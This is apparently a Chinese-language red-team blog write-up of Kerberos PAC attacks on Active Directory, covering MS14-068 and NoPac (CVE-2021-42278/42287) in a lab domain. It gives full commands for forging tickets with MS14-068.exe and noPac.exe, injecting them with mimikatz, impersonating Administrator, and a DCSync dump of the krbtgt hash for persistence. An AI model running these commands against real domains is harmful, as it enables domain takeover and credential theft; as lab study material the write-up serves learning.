PAC攻击

1.MS14-068

简单概括下:利用 Kerberos PAC 签名验证缺陷,攻击者可以伪造自己为域管理员,从而获取域管权限

该漏洞原理是KDC无法正确检验PAC签名的有效性,从而产生的漏洞。具体细节就不分析了

1
2
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr> #伪造 Kerberos 票据(TGT),提升权限为域管理员 
MS14-068.exe -u web@god.org -p Admin123 -s S-1-5-21-345784219-2510415755-3375813427-1103 -d 192.168.11.11

使用mimikatz将票据注入到内存

1
kerberos::ptc TGT_web@god.org.ccache

最后检验下:

不知道哪里问题我这台Server 2016是没打KB3011780补丁的。

2.NoPac

一句话介绍下个漏洞:

通过伪造普通用户账户名诱导域控误认身份(CVE-2021-42278、获得TGT),并利用 Kerberos PAC 校验缺陷(CVE-2021-42287、验证中并没校验pac中你是谁是否与你开始申请的TGT一致,从而获得TGS),伪装成高权限账户获取服务票据

再简单说下细节:

第一部分,假设你的账户名叫DC,KDC在尝试查DC这个用户时候发现不存在,Windows有一个默认行为:找不到用户自动加上$去查找,正好找到了域控机器账户DC$,于是KDC用DC$的PAC填进了你的票据(TGT),第二部份简单说,KDC我们比作为看门的,域控的身份我比作为国王,现在就是你进门的时候说你是普通人,但后面看门的问你“你是谁”时,你就把从第一部分获取来的我是国王身份给他看,KDC居然没有合适,还真就给你了国王通行证

直接使用NoPac.exe工具来将普通域内用户权限提到域管,该工具可以实现检测是否存在这个漏洞和一件生成好票据

检测该域内环境是否存在该漏洞

1
2
noPac.exe scan -domain god.org -user "web" -pass "Admin123"
#god.org是域名,web是域用户,pass是域用户密码

实现未开始之前先测试能否访问dc.god.org

获得域控cifs的权限TGS票据并将票据注入到内存中。

1
noPac.exe -domain god.org -user "web" -pass "Admin123" /dc dc.god.org /mAccount yankun /mPassword ADMIN123 /service cifs /ptt#/mAccount是创建一个名为yankun的机器账户名字随意,后面的密码随意

测试TGS票据是否可用,成功访问

获取krbtgt的hash来制造黄金票据TGS

1
noPac.exe -domain god.org -user "web" -pass "Admin123" /dc dc.god.org /mAccount yankun2 /mPassword ADMIN123 /service ldap /ptt /impersonate Administrator #获取域管理员的TGT票据

DCSync攻击,导出krbtgt的hash,有krbrgt的hash也就实现持久化控制

1
mimikatz.exe "lsadump::dcsync /domain:god.org /user:krbtgt /csv" "exit"

PAC攻击
https://yankun8.github.io/blog/2025/05/20/红队技能/域渗透/PAC攻击/
作者
yankun
发布于
2025年5月20日
许可协议